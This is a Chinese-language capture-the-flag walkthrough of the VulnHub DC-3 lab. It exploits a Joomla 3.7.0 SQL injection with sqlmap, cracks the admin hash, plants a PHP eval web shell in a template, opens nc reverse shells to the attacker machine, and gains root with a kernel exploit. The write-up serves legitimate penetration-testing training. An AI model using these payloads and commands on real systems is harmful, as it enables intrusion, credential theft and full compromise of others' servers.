一、环境搭建:
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。
只有一个flag
2、下载靶场环境
靶场下载地址:https://download.vulnhub.com/dc/DC-3-2.zip
二、渗透靶场
1.与之前一样 打开虚拟机更改网络连接模式为NAT 让DC-3虚拟机跟kali虚拟机在同一网段 这样才能扫出DC-3的主机
2.在点击CD/DVD(IDE)在点击高级把IDE(D)设置成IDE 0.0 CD/DVD(IDE)在点击确定 开启虚拟机就可以了
3.同样在kali虚拟机中进去root模式下 进入命令窗输入ifconfig查看kali的ip地址
4.寻找靶机真实的IP 使用nmap -sp 加查出来的IP地址/24(nmap -sp XXX.XXX.XXX.XXX/24)
可以看出我的IP是192.168.28.131
5.探端口及服务输入nmap -A -p- -v 加上回显出来的IP
-A 综合性扫描
-v 冗余模式 能扫描出过程中的详细信息
发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
在火狐中输入自己的IP
告诉我们这次DC-3实战只有一个目标获得root权限
6.利用JoomScan进行扫描获取后台地址
由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。
(1)JoomScan简介
OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。
(2)JoomScan简单使用
执行默认检测:
perl joomscan.pl --url www.example.com
perl joomscan.pl -u www.example.com
枚举已安装的组件:
perl joomscan.pl --url www.example.com --enumerate-components
perl joomscan.pl -u www.example.com –ec
设置cookie:
perl joomscan.pl --url www.example.com --cookie "test=demo;"
设置user-agent:
perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
设置随机user-agent
perl joomscan.pl -u www.example.com --random-agent
perl joomscan.pl --url www.example.com -r
更新JoomScan:
perl joomscan.pl –update
(3)joomScan扫描
joomscan --url http://192.168.28.131
我们先输入apt update 在输入 apt-get install joomscan
在输入joomscan --url http://192.168.28.131
扫描结果知道了joomla cms版本为3.7.0
得到了网站后台地址http://192.168.28.131/administrator/
7.利用nikto扫描获取后台地址
Nikto简介
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
Nikto简单使用
(1)常规扫描
nikto -host/-h http://127.0.0.1
nikto -h http://127.0.0.1
(2)可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描。
nikto -h http:// 127.0.0.1 -p 443 ssl
(3)指定子目录进行目录爆破
nikto -h http:// 127.0.0.1 -C /dvwa
(4)批量扫描
nikto -host list.txt
(5)升级更新插件
nikto -update
(6)查看工具版本和插件版本
nikto -V
(7)查看插件信息
nikto -list-plugins
(8)命令查看帮助信息
nikto
(9)查看更详细的帮助信息
nikto -H
man nikto
Nikto扫描
我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。
输入nikto --url http://192.168.28.131/
8.查找漏洞发现存在SQL注入
我们前面知道了CMS为joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞
输入searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
输入searchsploit -m 42033.txt可以看一下这个漏洞的提示信息
在接着输入cat 42033.txt 看见图片中的提示信息
我们验证一下,把localhost修改为我们的靶机IP就ok
数据库语句错误,说明进行了拼接,存在SQL注入
9.sqlmap跑出数据
(1)跑出所有数据库
输入sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
可以看见把数据库成功跑出
(2)获取当前数据库的名字joomladb
输入Sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
(3)在接着输入sqlmap -u
"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
(4)获取joomladb的users表的字段名
输入sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns直接选Y回车
在接着输入Y
这个可以随便输入 我这里输入的还是Y
这里我们直接输入10
最终出来6个字段
(5)输入sqlmap -u
"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
拿到一个用户名和加密的密码
10.利用john爆破密码snoopy
输入echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > 1.txt
创建一个1.txt,把加密的密码字段写入 输入cat 1.txt
使用john破解出admin密码是snoopy
输入john 1.txt
11.利用获取到的账号密码进行登录
http://192.168.28.131/administrator/
账户:admin密码:snoopy
登陆成功
上传webshell
点击Extensions 点击Templates 在点击Templates
点击Beez3 Details and Files进入
点击new files
这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录:
在URL中输入http://192.168.28.131/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
输入<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
输入完成点击左上角绿色的save进行保存
再次访问http://192.168.28.131/templates/beez3/html/
发现多了一个shell.php文件
访问http://192.168.28.131/templates/beez3/html/shell.php文件上传成功
12..蚁剑管理webshell
进入蚁剑右键添加数据输入http://192.168.28.131/templates/beez3/html/shell.php
进行添加
添加完成后右键进入虚拟终端执行
输入whoami查询我权限是www-data权限
13.反弹shell到kali
(1)返回kali
输入nc -lvvp 1234
(2)靶机连接
返回蚁剑输入nc -e /bin/bash 192.168.28.128 1234(使用lali本机IP地址)
发现-e参数不可用
输入下面连接rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.28.128 1234 >/tmp/f
返回kali输入ls
14创建交互式shell
输入python3 -c 'import pty; pty.spawn("/bin/bash")'
在输入ls
15使用辅助脚本发现提权漏洞
(1)下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:https://github.com/mzet-/linux-exploit-suggester
(2)上传辅助脚本
点击进去我们刚才创建的数据 右键点击上传文件 进入D盘 点击DC-3Linux点击进去 接着点击 选择第三个上传
(3)发现漏洞
回到kali输入ls -l linux-exploit-suggester.sh
发现没有执行权限
我们输入chmod +x linux-exploit-suggester.sh 加个执行文件
执行脚本
输入./linux-exploit-suggester.sh发现很多可利用漏洞
15.使用辅助脚本提权
(1)获取提权脚本
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
我们在打开一个新的窗口输入searchsploit -m 39772.txt
在输入cat 39772.txt
这个返回的不可以使用
可以使用下面地址直接下载
bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
右键点击上传文件 进入C盘 点击用户点击联想 接着点击下载 选择39772.zip
(3)提权
解压文件
返回原来的窗口输入unzip 39772.zip
输入cd 39772
ls
在输入tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
输入ls
./compile.sh
./doubleput.c
Ls
./doubleput
获得root权限
16发现the-flag.txt
输入cd /root
Ls
cat the-flag.txt
实验完成